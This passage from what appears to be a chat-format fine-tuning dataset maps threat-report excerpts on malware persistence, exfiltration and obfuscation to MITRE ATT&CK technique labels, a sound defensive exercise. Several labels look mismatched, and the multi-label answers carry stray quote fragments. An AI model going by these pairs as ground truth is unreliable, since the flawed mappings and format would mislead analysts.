                "content": "Several files were downloaded to our Struts2 honeypot from the Chinese repository site gitee.com for a user named \"c-999. Around the same time, we observed similar activity pulling down files from a gitlab.com repository page for a user named \"c-18. All the repositories had a folder called \"ss\" that contained 16 files. The files were a collection of ELF executables, shell scripts, and text files that execute a variety of actions, including achieving persistence and the execution of an illicit cryptocurrency miner. Once the threat actor had compromised a system, they achieved persistence on the device by installing a cron job that downloads and executes a file \"logo.jpg\" from \"3389[.]space. This file is a shell script which, in turn, downloads mining executables from the threat actor's Git repositories and saves them under the filename \"java. The exact file downloaded depends on the victim's system architecture"
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This function keeps receiving data from the system clipboard and then determines if it is a valid bitcoin wallet address. If yes, it overwrites the wallet address with the attacker’s"
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data', 'T1565.002 - Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 (also known as UPS), the actors responsible for Operation Clandestine Fox has quietly continued to send waves of spearphishing messages over the past few months. This actor initiated their most recent campaign on November 19, 2014 targeting multiple organizations. The attacker leveraged multiple exploits, targeting both CVE-2014-6332 and CVE-2014-4113. CVE-2014-6332 was disclosed publicly on 2014-11-11 and is a Windows OLE Automation Array Remote Code Execution vulnerability. CVE-2014-4113 is a privilege escalation vulnerability that was disclosed publicly on 2014-10-14."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Exploits', 'T1566.003 - Spearphishing via Service', 'T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At first glance, these links generally cause less suspicion for the targets. After opening the links and several redirections, the victims are led to final phishing domains such as “mobile[.]recover-session-service[.]site” etc"
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indicators of compromise MITRE ATT&CK techniques  Modify existing service Code signing File deletion Deobfuscate/decode files or information System information discovery Process discovery Service execution RunDLL32 Scripting Command-line Interface Data from local system Automated exfiltration Data encrypted Commonly used port Bypass user account control  Hashes  fe32d29fa16b1b71cd27b23a78ee9f6b7791bff3 f684e15dd2e84bac49ea9b89f9b2646dc32a2477 1d280a77595a2d2bbd36b9b5d958f99be20f8e06 19d9573f0b2c2100accd562cc82d57adb12a57ec f90a2155ac492c3c2d5e1d83e384e1a734e59cc0 9b832dda912cce6b23da8abf3881fcf4d2b7ce09 f3b62fea38cb44e15984d941445d24e6b309bc7b 66d2cea01b46c3353f4339a986a97b24ed89ee18 7113aaab61cacb6086c5531a453adf82ca7e7d03 d41daba0ebfa55d0c769ccfc03dbf6a5221e006a 25f4819e7948086d46df8de2eeeaa2b9ec6eca8c 35ab747c15c20da29a14e8b46c07c0448cef4999 e87de3747d7c12c1eea9e73d3c2fb085b5ae8b42 0e4a7c0242b98723dc2b8cce1fbf1a43dd025cf0 bca861a46d60831a3101c50f80a6d626fa99bf16 01530adb3f947fabebae5d9c04fb69f9000c3cef 4229896d61a5ad57ed5c247228606ce62c7032d0 4c7e975f95ebc47423923b855a7530af52977f57 5a6ad7a1c566204a92dd269312d1156d51e61dc4 1dc50bfcab2bc80587ac900c03e23afcbe243f64 003e21b02be3248ff72cc2bfcd05bb161b6a2356 9b7c3c48bcef6330e3086de592b3223eb198744a 85e2453b37602429596c9681a8c58a5c6faf8d0c  Domains  ftp.byethost31.com ftp.byethost11.com 1113427185.ifastnet.org navermail.byethost3.com nihon.byethost3.com"
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "None of the known documents contain a lure image or message to instruct the recipient to click the Enable Content button necessary to run the macro, as seen in Figure 1"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NCCIC observed multiple methods used by NotPetya to propagate across a network. The first and—in most cases—most effective method, uses a modified version of the Mimikatz tool to steal the user’s Windows credentials. The cyber threat actor can then use the stolen credentials, along with the native Windows Management Instrumentation Command Line (WMIC) tool or the Microsoft SysInternals utility, psexec.exe, to access other systems on the network. Another method for propagation uses the EternalBlue exploit tool to target unpatched systems running a vulnerable version of SMBv1. In this case, the malware attempts to identify other hosts on the network by checking the compromised system’s IP physical address mapping table. Next, it scans for other systems that are vulnerable to the SMB exploit and installs the malicious payload. Refer to the malware report, MIFR-10130295, for more details on these methods"
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the obfuscated and packed version of the loader, an uncommon API call is used to facilitate code injection. As seen in the image below, the loader uses VirtualAllocExNuma to allocate new memory and store the returned base address. The beginning of an obfuscated shellcode is copied to this address after being decrypted using an RC4 algorithm.In addition to the shellcode an additional PE can be seen in memory"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RobbinHood will search for an RSA encryption key and then perform its encryption process on the system files."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Its presence on a compromised system allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FLASHFLOOD achieves persistence by making an entry in the Registry's Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MiniDuke can use DGA to generate new Twitter URLs for C2."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has registered a Windows shell script under the Registry key HKCU\\Environment\\UserInitMprLogonScript to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Vidar can also receive settings from the C&C that tells it exactly what to do."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrackMapExec can dump hashed passwords from LSA secrets for the targeted system."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "mailsearcher32 module This module searches the infected system’s files to gather email addresses for information-stealing purposes. Emotet, according to previous research by Brad Duncan, is also responsible for delivering this password-grabbing Trickbot variant, as well as Azorult, to users"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery', 'T1087.003 - Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. Once decoded, the configuration contains the data shown in Figure 5 below"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 uses the Invoke-Obfuscation framework to obfuscate their PowerShell and also performs other code obfuscation. APT32 has also encoded payloads using Base64 and a framework called \"Dont-Kill-My-Cat (DKMC). APT32 also encrypts the library used for network exfiltration with AES-256 in CBC mode in their macOS backdoor."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IceApple can use Base64 and \"junk\" JavaScript code to obfuscate information."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use Rundll32 to execute additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reaver creates a shortcut file and saves it in a Startup folder to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Find out all system information, including hardware being used and the exact version of your operating system, including security patches. Steal from your clipboard (things you’ve copied) - Control your printer - Lock/Restart/Shutdown your computer - Update the implant with a new address to beacon to or new functionality"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor gave considerable effort to obfuscating the code of this new Anchor_DNS variant using stack strings, string encryption, and by implementing a packer. The following example shows considerable changes in the code of the WinMain() function between an older variant of Anchor_DNS and the new variant"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RedLeaves attempts to add a shortcut file in the Startup folder to achieve persistence. If this fails, it attempts to add Registry Run keys."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury can disable SELinux Role-Based Access Control and deactivate PAM modules."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When run, the first thing the script does is to retrieve a GUID associated to a LAN connection present on the machine by leveraging the interface offered by the WMI Class Root\\Microsoft\\Homenet\\HNet_Connection. If a LAN connection is not available, the script defaults to a hardcoded GUID. This GUID is later communicated to the C2. It’s possible that the threat actor used this GUID to verify that the threat is running in a desirable environment, i.e. a real machine with LAN connections available"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Multiple SUNBURST samples have been recovered, delivering different payloads. In at least one instance the attackers deployed a previously unseen memory-only dropper we’ve dubbed TEARDROP to deploy Cobalt Strike BEACON"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dyre has the ability to identify network settings on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All versions generate a list of files to encrypt by parsing the available drives and directories, but will avoid adding files that are of relevance to the malware"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to take a screenshot and send it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS copies documents under 15MB found on the victim system to is the user's \"%temp%\\SMB\\\" folder. It also copies files from USB devices to a predefined directory."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the case of the observed exploit, specifically when handling Microsoft PowerPoint files, the packagers allows a Package OLE object to reference arbitrary external files, such as INF files, from untrusted sources. This will cause the referenced files to be downloaded in the case of INF files, to be executed with specific commands - An attacker can exploit this vulnerability to execute arbitrary code but will need a specifically crafted file and use social engineering methods (observed in this campaign) to convince a user to open it"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first stage logic is performed by ‘mklgsecondary’ which serves the purpose of downloading a file named ‘chrome.txt’ from a C2 server using the BITS utility. The downloader modifies the Chrome shortcut using the same method previously described for the Telegram variant. The downloaded PE file (‘chrome.txt’/’mklgchrome’) gets executed each time the user starts Chrome, thereby running the real Chrome application as well as executing the MarkiRAT payload"
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson contains a module to steal credentials from Web browsers on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once installed, JSSLoader provides the threat group with a backdoor to the victim’s computer and the organization"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File', 'T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Higaisa has called various native OS APIs."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "transferred compressed and encrypted RAR files containing exfiltration through the established backdoor command and control channel during operations."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of executing commands via cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "establishes persistence by adding a Registry Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  malware platform can use Windows admin shares to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By doing so, the main content of the macro itself (Figure 2) can be kept relatively simple, and the malicious’ codes small footprint can help enable evasion of automated detection mechanisms based on macro content"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, the threat actors deployed the MaoCheng dropper with a stolen Adobe Systems digital signature."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has encoded binary data with Base64 and ASCII."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Netwalker can detect and terminate active security software-related processes on infected systems."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery', 'T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs \"louder\" interactions with the malware."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kessel has exfiltrated information gathered from the infected system to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "STARWHALE can collect data from an infected local host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT1 used publicly available malware for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The REvil (also known as Sodinokibi) ransomware was first identified on April 17, 2019. It is used by the financially motivated GOLD SOUTHFIELD threat group, which distributes ransomware via exploit kits, scan-and-exploit techniques, RDP servers, and backdoored software installers. Secureworks® Counter Threat Unit™ (CTU) analysis suggests that REvil is likely associated with the GandCrab ransomware due to similar code and the emergence of REvil as GandCrab activity declined. CTU™ researchers attribute GandCrab to the GOLD GARDEN threat group"
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To initially gain access to the environment, Managed Defense analysts identified that FIN6 compromised an internet facing system. Following the compromise of this system, analysts identified FIN6 leveraged stolen credentials to move laterally within the environment using the Windows’ Remote Desktop Protocol (RDP"
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory', 'T1021.001 - Remote Services: Remote Desktop Protocol', 'T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ObliqueRAT can check for blocklisted usernames on infected endpoints."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pass-The-Hash Toolkit can perform pass the hash."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When a victim opens the document, Microsoft Word asks to enable/disable macros. It reveals that a macro is embedded in the document"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Essentially, the TDSS botnet kad.dll module is more or less the same as cmd.dll in terms of control function. By running nodes.dat files containing a list of IP addresses of Kad clients in addition to ktzerlrules, which contains a command to download a new nodes.dat file from cybercriminal servers, the owners of the botnet can both include their infected computers in the publicly accessible Kad network and remove them from the network. The publicly accessible Kad network contains no more than 10 TDSS infected computers. This makes replacing the ktzerules file as inefficient as possible, which prevents other cybercriminals from taking control over the botnet. The total number of TDSS infected computers on the closed network number tens of thousands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1588.001 - Malware', 'T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this case, a Cobalt Strike DLL file was sent through Bazar C2 traffic and saved to the infected Windows host under the user’s AppData\\Roaming directory"
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If it is successful then it will send out basic host information and await further commands."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used a Powershell cmdlet to grant the \"ApplicationImpersonation\" role to a compromised account."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay has the ability to switch between TCP and HTTP for C2 if one method is not working."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A format string that defaults to “public/Publics” that modifies characteristics of the folder and hide it from the infected user"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This backdoor adds the following registry entries to enable its automatic execution at every system startup"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM dropped additional tools to victims during their operation, including portqry.exe, a renamed cmd.exe file, winrar, and HTRAN."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
